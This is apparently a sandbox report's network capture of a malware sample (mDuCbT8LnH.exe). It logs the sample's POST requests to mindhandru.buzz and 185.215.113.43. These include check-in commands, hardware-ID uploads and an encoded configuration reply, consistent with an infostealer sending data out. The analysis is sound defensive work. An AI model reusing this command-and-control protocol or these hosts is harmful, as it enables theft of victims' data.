Dec 27, 2024 15:02:46.464466095 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 15:02:47.636816978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:00:44 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 14:00:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 14:00:45 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:00:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k5n7qkfsgiio3nndev64fk8269; expires=Tue, 22 Apr 2025 07:47:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MnyJgEb2%2FeoCgqfmXNUN5Mt%2Fp7MuWyd0iYRXx3qsch2XD%2FSz0Z7g6DUW%2Fcvn%2Ba%2B26DyNY1tv9QzwganXrRje%2Bh5Hazk4wuvw7sfAc3lKFGb%2Fd2aOFEwZggwQHO%2BNcQBJRik%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d6b12b695e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2313&min_rtt=2306&rtt_var=879&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1234150&cwnd=224&unsent_bytes=0&cid=462296eda9ed11b7&ts=1090&x=0"
2024-12-27 14:00:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 14:00:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:00:47 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 14:00:47 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 14:00:47 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:00:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vj43ed552hirdjb3hgg93kpn38; expires=Tue, 22 Apr 2025 07:47:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fV0xMeQHT5nWVKBL%2BqY3pqFXg5SnNcuSFPcGp1VDCSRaCCIPjk0zKrt4sHFZqi10v%2BSUDNnEc9l9qQI0Ng6BNFsM1lXO8YWuHvOkw7BIBTe6sAQi%2BOpVg1ccftAROdTZ3r8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d6bf8f1b7c7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1859&min_rtt=1805&rtt_var=786&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1302989&cwnd=252&unsent_bytes=0&cid=62ac0a388a92b8bd&ts=754&x=0"
2024-12-27 14:00:47 UTC	246	IN	Data Raw: 32 64 32 66 0d 0a 72 4d 69 6b 55 31 75 2f 4b 6e 38 68 38 64 72 51 75 37 33 30 2b 34 30 69 53 36 65 63 49 39 6f 4b 75 6b 31 59 34 4e 34 52 7a 67 37 58 36 74 4a 78 59 59 73 47 58 56 4b 55 2b 4f 72 50 7a 34 47 65 6f 51 41 71 77 37 34 5a 76 47 76 57 50 6a 33 4d 2f 47 65 6a 4c 4a 61 75 78 54 38 6f 32 67 5a 64 52 49 6e 34 36 75 44 47 31 70 37 6a 41 48 47 46 2b 55 6d 34 61 39 59 76 4f 59 75 78 59 61 4a 74 78 4b 54 44 4f 7a 37 63 54 68 35 4e 6e 4c 2b 31 33 74 79 65 6c 65 52 50 49 38 71 2b 44 2f 68 76 77 47 39 69 77 70 4e 30 75 6d 2f 68 71 64 63 34 65 63 49 47 42 41 4f 55 74 50 4b 42 6e 35 57 65 37 30 34 74 77 2f 64 4c 73 6d 4c 65 4c 6a 79 4b 72 6e 69 6f 5a 73 53 71 77 44 6f 30 31 56 6f 54 52 35 75 30 73 39 54 63 31 74 65 76 52 7a 47 46 Data Ascii: 2d2frMikU1u/Kn8h8drQu730+40iS6ecI9oKuk1Y4N4Rzg7X6tJxYYsGXVKU+OrPz4GeoQAqw74ZvGvWPj3M/GejLJauxT8o2gZdRIn46uDG1p7jAHGF+Um4a9YvOYuxYaJtxKTDOz7cTh5NnL+13tyeleRPI8q+D/hvwG9iwpN0um/hqdc4ecIGBAOUtPKBn5We704tw/dLsmLeLjyKrnioZsSqwDo01VoTR5u0s9Tc1tevRzGF
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 70 67 48 72 57 74 73 2b 4b 35 65 78 59 36 6f 73 30 65 54 66 63 54 37 52 43 45 55 44 6d 37 53 38 33 4e 79 5a 6e 75 35 41 4f 38 72 2b 51 72 42 67 33 43 55 31 6a 62 4e 39 70 6d 76 47 6f 38 45 2b 50 74 56 4f 45 6b 44 54 39 76 4c 65 78 39 62 42 72 32 41 35 78 76 31 56 74 58 6d 59 4d 48 53 62 2f 48 53 67 4c 4a 62 71 77 44 38 34 30 45 67 50 53 35 69 7a 74 38 76 55 6e 35 54 69 51 43 54 50 38 55 4b 34 62 39 49 6c 4e 59 69 34 66 71 46 71 7a 71 71 47 66 33 6e 61 55 46 30 62 30 35 75 33 79 64 69 61 6a 36 31 36 61 64 71 77 57 50 68 76 31 47 39 69 77 72 52 32 72 32 2f 46 70 63 55 35 4d 73 39 49 44 30 57 65 76 61 44 66 32 70 69 54 37 46 49 6a 79 2f 68 43 73 57 50 52 4b 6a 32 47 2f 44 33 73 61 39 62 71 6e 6e 45 59 30 45 4d 52 53 59 53 34 38 73 61 52 6a 39 6e 6f 54 47 6d Data Ascii: pgHrWts+K5exY6os0eTfcT7RCEUDm7S83NyZnu5AO8r+QrBg3CU1jbN9pmvGo8E+PtVOEkDT9vLex9bBr2A5xv1VtXmYMHSb/HSgLJbqwD840EgPS5izt8vUn5TiQCTP8UK4b9IlNYi4fqFqzqqGf3naUF0b05u3ydiaj616adqwWPhv1G9iwrR2r2/FpcU5Ms9ID0WevaDf2piT7FIjy/hCsWPRKj2G/D3sa9bqnnEY0EMRSYS48saRj9noTGm
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 57 53 59 59 58 71 46 70 44 50 30 4c 4f 53 70 30 6a 49 7a 6e 33 30 65 54 5a 32 2f 70 4a 6e 41 32 49 43 76 52 79 57 46 70 67 47 31 61 64 41 70 4b 49 32 78 63 4b 4a 69 77 61 2f 4a 4f 54 6e 64 52 52 68 48 6d 4c 4f 78 31 4e 75 45 6b 2b 39 49 4c 4d 54 30 53 2f 67 6d 6d 43 67 69 77 75 51 7a 6e 58 76 46 36 50 4d 79 4e 39 4e 50 43 77 4f 4d 39 71 75 5a 32 4a 72 5a 74 77 41 6b 7a 66 74 45 74 32 6e 53 49 54 2b 49 73 48 75 69 62 39 79 6c 77 6a 45 31 31 55 49 51 54 5a 65 77 75 39 4c 55 6b 4a 6e 75 53 6d 6d 4c 76 6b 61 67 4b 49 42 76 44 6f 57 77 66 71 4d 75 2b 36 6e 49 50 7a 37 4c 43 41 49 4e 69 76 69 31 31 5a 2f 4f 32 65 4e 4a 4b 63 37 30 52 62 68 76 31 53 6f 35 68 62 39 2b 71 32 62 41 72 63 49 39 4d 4e 42 4f 48 55 53 58 76 61 44 63 31 70 71 56 72 77 35 70 77 75 59 42 Data Ascii: WSYYXqFpDP0LOSp0jIzn30eTZ2/pJnA2ICvRyWFpgG1adApKI2xcKJiwa/JOTndRRhHmLOx1NuEk+9ILMT0S/gmmCgiwuQznXvF6PMyN9NPCwOM9quZ2JrZtwAkzftEt2nSIT+IsHuib9ylwjE11UIQTZewu9LUkJnuSmmLvkagKIBvDoWwfqMu+6nIPz7LCAINivi11Z/O2eNJKc70Rbhv1So5hb9+q2bArcI9MNBOHUSXvaDc1pqVrw5pwuYB
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 67 32 77 75 51 7a 70 57 58 63 70 4d 67 34 4e 4e 74 41 47 6b 32 65 73 37 54 53 32 4a 47 66 34 6b 67 6b 77 50 31 41 76 47 4c 4b 4c 44 47 49 73 58 6e 73 49 6f 36 74 33 6e 46 68 6e 57 38 52 61 6f 4f 6a 6f 4d 2b 66 69 64 66 32 41 43 37 4a 76 68 6e 34 61 39 63 6d 4e 59 71 30 66 4b 4e 6f 77 4b 7a 41 50 44 7a 53 51 67 39 4c 6e 62 57 35 31 74 53 45 6d 65 4a 45 4a 63 48 32 53 72 49 6f 6c 6d 38 39 6d 76 77 72 37 46 6e 44 70 63 59 79 4c 35 31 58 55 31 72 54 76 37 36 5a 68 39 61 56 34 55 41 6d 79 66 4a 4b 73 47 6e 55 49 54 32 48 74 58 75 6b 66 73 2b 75 7a 6a 41 33 30 6b 6b 5a 52 70 61 38 74 64 33 5a 6d 64 6d 68 41 43 37 64 76 68 6e 34 52 2f 38 61 65 4b 4f 47 4d 37 4d 69 31 2b 72 42 50 58 6d 46 43 42 46 41 6e 37 43 39 33 39 61 61 6b 2b 5a 4c 4a 63 37 36 54 62 46 74 33 Data Ascii: g2wuQzpWXcpMg4NNtAGk2es7TS2JGf4kgkwP1AvGLKLDGIsXnsIo6t3nFhnW8RaoOjoM+fidf2AC7Jvhn4a9cmNYq0fKNowKzAPDzSQg9LnbW51tSEmeJEJcH2SrIolm89mvwr7FnDpcYyL51XU1rTv76Zh9aV4UAmyfJKsGnUIT2HtXukfs+uzjA30kkZRpa8td3ZmdmhAC7dvhn4R/8aeKOGM7Mi1+rBPXmFCBFAn7C939aak+ZLJc76TbFt3
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 36 59 61 74 6c 33 4b 54 4c 50 6a 48 56 51 52 78 48 6c 72 57 30 31 64 57 58 6e 75 46 4f 49 59 57 77 41 62 39 77 6d 48 64 36 6f 36 78 6f 76 6e 72 44 69 38 73 2b 65 63 49 47 42 41 4f 55 74 50 4b 42 6e 35 2b 4c 36 30 30 37 7a 50 6c 50 74 32 76 4b 4c 6a 65 4a 72 6e 53 6a 61 4d 6d 6d 77 44 34 2f 33 45 30 58 54 35 53 39 75 64 62 54 31 74 65 76 52 7a 47 46 70 67 47 57 59 38 73 34 4f 59 79 33 5a 62 63 73 30 65 54 66 63 54 37 52 43 45 55 44 6b 4c 4f 35 33 64 2b 61 6d 65 74 4e 4b 64 66 78 52 72 39 68 30 7a 30 77 68 62 74 34 70 47 66 42 72 4e 51 39 4e 38 39 4e 44 31 48 54 39 76 4c 65 78 39 62 42 72 33 59 75 31 65 35 43 2b 6c 6e 4f 4c 43 79 4a 73 58 2f 73 63 34 43 7a 68 6a 59 31 6e 52 42 64 52 5a 79 78 73 64 62 65 6e 35 58 69 52 53 44 41 2f 30 65 38 59 74 49 76 50 49 Data Ascii: 6Yatl3KTLPjHVQRxHlrW01dWXnuFOIYWwAb9wmHd6o6xovnrDi8s+ecIGBAOUtPKBn5+L6007zPlPt2vKLjeJrnSjaMmmwD4/3E0XT5S9udbT1tevRzGFpgGWY8s4OYy3Zbcs0eTfcT7RCEUDkLO53d+ametNKdfxRr9h0z0whbt4pGfBrNQ9N89ND1HT9vLex9bBr3Yu1e5C+lnOLCyJsX/sc4CzhjY1nRBdRZyxsdben5XiRSDA/0e8YtIvPI
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 64 59 36 74 79 6e 46 68 6e 55 73 61 51 4a 4b 79 75 39 58 51 6b 5a 33 39 53 69 37 58 2f 30 43 7a 5a 64 51 76 4e 34 2b 32 63 71 56 68 77 71 66 42 4e 6a 62 59 43 46 4d 44 6c 4b 44 79 67 5a 2b 33 6c 4f 52 4d 63 70 2b 2b 58 76 5a 78 6d 43 67 32 77 75 51 7a 72 47 62 4c 6f 4d 73 79 4e 74 35 61 48 45 57 42 75 4c 2f 54 7a 5a 79 53 36 6b 30 6b 79 50 31 48 76 6d 50 55 50 54 4f 43 76 33 6a 73 49 6f 36 74 33 6e 46 68 6e 57 73 4b 56 5a 6d 2f 76 73 2f 55 6c 35 72 35 54 54 6d 46 73 41 47 70 62 38 6c 76 59 70 53 73 5a 4b 74 7a 67 4c 4f 47 4e 6a 57 64 45 46 31 46 6d 72 36 31 33 39 47 45 6e 4f 6c 50 4a 73 7a 33 52 62 42 72 32 43 73 2b 68 62 6c 77 6f 47 66 4a 71 63 6b 31 4d 4e 4e 42 45 67 50 64 2b 4c 58 42 6e 38 37 5a 7a 6c 73 71 79 66 4d 42 70 79 62 42 62 7a 32 4f 2f 43 76 Data Ascii: dY6tynFhnUsaQJKyu9XQkZ39Si7X/0CzZdQvN4+2cqVhwqfBNjbYCFMDlKDygZ+3lORMcp++XvZxmCg2wuQzrGbLoMsyNt5aHEWBuL/TzZyS6k0kyP1HvmPUPTOCv3jsIo6t3nFhnWsKVZm/vs/Ul5r5TTmFsAGpb8lvYpSsZKtzgLOGNjWdEF1Fmr6139GEnOlPJsz3RbBr2Cs+hblwoGfJqck1MNNBEgPd+LXBn87ZzlsqyfMBpybBbz2O/Cv
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 75 59 36 4c 39 68 50 43 77 47 6d 75 37 7a 58 32 49 44 5a 38 48 39 6e 68 66 46 62 2b 44 44 68 4e 6e 71 46 73 44 50 30 4c 4e 75 74 78 6a 59 6a 79 30 38 52 55 70 69 31 76 76 76 51 6b 59 2f 73 54 79 72 55 39 77 32 7a 5a 5a 68 68 65 6f 57 6b 4d 2f 51 73 34 61 33 51 4d 68 62 65 57 52 51 44 33 66 69 31 7a 35 2f 4f 32 64 45 41 4f 38 62 75 51 72 64 35 35 6d 39 69 6d 34 49 7a 70 33 72 4a 75 73 55 6e 4d 74 42 45 44 48 33 54 34 4f 61 4c 6a 63 54 4c 76 56 39 70 32 73 45 50 2b 47 6d 59 64 77 4f 62 2f 47 58 73 4e 4a 7a 6b 68 69 4e 35 68 51 68 61 51 49 47 71 74 4e 72 4a 6c 64 37 52 66 67 37 54 39 45 61 6f 62 38 38 67 65 73 7a 38 66 4f 77 30 39 2b 72 50 4e 69 4c 4d 58 68 42 54 6c 50 69 4e 6c 35 2b 4f 32 62 63 41 48 4d 62 77 54 37 39 2b 79 57 49 64 6c 4c 5a 30 76 47 76 5a Data Ascii: uY6L9hPCwGmu7zX2IDZ8H9nhfFb+DDhNnqFsDP0LNutxjYjy08RUpi1vvvQkY/sTyrU9w2zZZhheoWkM/Qs4a3QMhbeWRQD3fi1z5/O2dEAO8buQrd55m9im4Izp3rJusUnMtBEDH3T4OaLjcTLvV9p2sEP+GmYdwOb/GXsNJzkhiN5hQhaQIGqtNrJld7Rfg7T9Eaob88gesz8fOw09+rPNiLMXhBTlPiNl5+O2bcAHMbwT79+yWIdlLZ0vGvZ
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 58 54 51 78 31 45 67 36 36 70 6c 64 65 56 67 2f 56 2b 46 2b 37 79 52 37 39 79 33 79 6b 63 6f 76 77 39 37 47 4f 4f 38 76 39 78 63 5a 31 33 55 77 4f 4c 2b 4f 71 5a 36 70 57 58 34 55 63 2f 31 4c 4e 70 6d 31 4c 69 62 52 61 46 71 54 47 59 61 39 36 37 7a 54 77 31 6e 51 5a 64 52 64 50 67 34 70 65 66 6b 6f 69 76 47 48 6d 58 70 52 54 72 50 34 68 39 4a 63 79 6c 4d 37 6f 73 6c 76 69 49 63 53 75 64 45 46 30 45 6b 4b 71 67 33 39 79 41 6d 71 68 2b 46 2b 4c 77 52 72 6c 2b 79 44 67 31 76 49 4a 6d 72 32 4c 41 72 64 41 67 65 5a 4d 49 45 67 50 4c 67 66 4b 52 6e 36 6e 58 72 31 68 70 6e 62 35 30 75 32 62 57 4b 43 79 54 38 56 53 69 61 38 2b 38 31 69 59 32 6e 51 5a 64 52 64 50 67 34 4a 65 66 6b 6f 69 76 47 48 6d 58 70 52 54 72 50 34 68 39 4a 63 79 6c 4d 37 6f 73 6c 76 69 49 63 Data Ascii: XTQx1Eg66pldeVg/V+F+7yR79y3ykcovw97GOO8v9xcZ13UwOL+OqZ6pWX4Uc/1LNpm1LibRaFqTGYa967zTw1nQZdRdPg4pefkoivGHmXpRTrP4h9JcylM7oslviIcSudEF0EkKqg39yAmqh+F+LwRrl+yDg1vIJmr2LArdAgeZMIEgPLgfKRn6nXr1hpnb50u2bWKCyT8VSia8+81iY2nQZdRdPg4JefkoivGHmXpRTrP4h9JcylM7oslviIc
2024-12-27 14:00:47 UTC	1369	IN	Data Raw: 39 52 49 57 37 38 70 65 66 6d 74 6d 33 41 43 6a 50 37 6b 79 33 62 35 51 6f 49 49 58 38 50 65 78 69 6a 76 4b 47 4d 44 50 4e 52 52 4a 45 33 37 36 38 31 35 2b 4a 31 2f 59 41 50 34 57 6d 45 76 59 6f 79 6d 39 69 77 76 74 77 76 6e 37 49 71 64 41 79 66 75 4e 32 4d 46 47 55 71 4c 47 62 37 70 75 64 2b 56 55 71 31 66 6c 2f 68 6b 58 4b 4b 43 71 42 2f 6b 4b 36 62 38 36 6b 77 58 46 33 6e 56 42 64 47 39 4f 56 6f 4e 37 50 6c 64 6d 68 41 43 57 46 70 67 47 31 65 74 38 2f 4f 63 36 37 61 61 73 73 30 65 54 66 63 53 2b 64 45 45 34 4e 30 36 72 79 67 5a 2f 52 6c 2b 4a 42 4b 73 76 39 55 36 70 75 32 7a 6b 35 78 59 4a 4e 67 58 37 4a 75 73 56 7a 43 4e 42 4d 43 31 61 51 71 4c 58 6e 34 62 75 4c 36 46 41 71 68 39 4a 47 74 57 54 6d 45 51 32 54 75 32 50 75 53 73 32 38 78 58 46 33 6e 56 Data Ascii: 9RIW78pefmtm3ACjP7ky3b5QoIIX8PexijvKGMDPNRRJE376815+J1/YAP4WmEvYoym9iwvtwvn7IqdAyfuN2MFGUqLGb7pud+VUq1fl/hkXKKCqB/kK6b86kwXF3nVBdG9OVoN7PldmhACWFpgG1et8/Oc67aass0eTfcS+dEE4N06rygZ/Rl+JBKsv9U6pu2zk5xYJNgX7JusVzCNBMC1aQqLXn4buL6FAqh9JGtWTmEQ2Tu2PuSs28xXF3nV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:00:49 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IO77JPPZ1KXLZUSRIK7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12841 Host: mindhandru.buzz
2024-12-27 14:00:49 UTC	12841	OUT	Data Raw: 2d 2d 49 4f 37 37 4a 50 50 5a 31 4b 58 4c 5a 55 53 52 49 4b 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 31 34 41 33 30 34 46 31 46 33 32 38 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 49 4f 37 37 4a 50 50 5a 31 4b 58 4c 5a 55 53 52 49 4b 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4f 37 37 4a 50 50 5a 31 4b 58 4c 5a 55 53 52 49 4b 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --IO77JPPZ1KXLZUSRIK7Content-Disposition: form-data; name="hwid"FA14A304F1F32836BEBA0C6A975F1733--IO77JPPZ1KXLZUSRIK7Content-Disposition: form-data; name="pid"2--IO77JPPZ1KXLZUSRIK7Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-27 14:00:50 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:00:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t7hpjf5bljlu85a4u8fn3frpp1; expires=Tue, 22 Apr 2025 07:47:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tj4%2FChzQ3EU76leQ1wRUuM3KEaSl0tK8RWw9gQDUA1eji1ALxBUyNd1%2BIFM3ybFUNW29GVEESGo4AWSmiBl6K4ybjNkd%2Ft1a4Lzu7qXtEuSvQjPCZTZ3yPbbvAv9W6Rjm58%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d6cdfdb41839-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1666&rtt_var=627&sent=13&recv=18&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13781&delivery_rate=1752701&cwnd=245&unsent_bytes=0&cid=bd89ec6986a0db08&ts=920&x=0"
2024-12-27 14:00:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:00:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:00:51 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9U0I26LFBFITWTQ40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15071 Host: mindhandru.buzz
2024-12-27 14:00:51 UTC	15071	OUT	Data Raw: 2d 2d 39 55 30 49 32 36 4c 46 42 46 49 54 57 54 51 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 31 34 41 33 30 34 46 31 46 33 32 38 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 39 55 30 49 32 36 4c 46 42 46 49 54 57 54 51 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 55 30 49 32 36 4c 46 42 46 49 54 57 54 51 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --9U0I26LFBFITWTQ40Content-Disposition: form-data; name="hwid"FA14A304F1F32836BEBA0C6A975F1733--9U0I26LFBFITWTQ40Content-Disposition: form-data; name="pid"2--9U0I26LFBFITWTQ40Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 14:00:52 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:00:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9av34ht28uj83ufai69cvq3hqd; expires=Tue, 22 Apr 2025 07:47:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pDkm2llPqMeXSkFjpSFX9z5ailKYOeCv6AVX8vbKf64CJuADLLEkDleo4j5bKOT3rKIMgsfhG5g4xEFXzUG2Bfa7hzUaSnSB%2BcgNImeO8FdUfi8ZWpPSBNP91cJRhxK2P4k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d6dc7d50f5f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1597&min_rtt=1564&rtt_var=610&sent=14&recv=20&lost=0&retrans=0&sent_bytes=2837&recv_bytes=16009&delivery_rate=1867007&cwnd=103&unsent_bytes=0&cid=e69eaf97b69fd19e&ts=865&x=0"
2024-12-27 14:00:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:00:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.11.101	443	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:00:54 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=W3WH477UU4A4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20531 Host: mindhandru.buzz
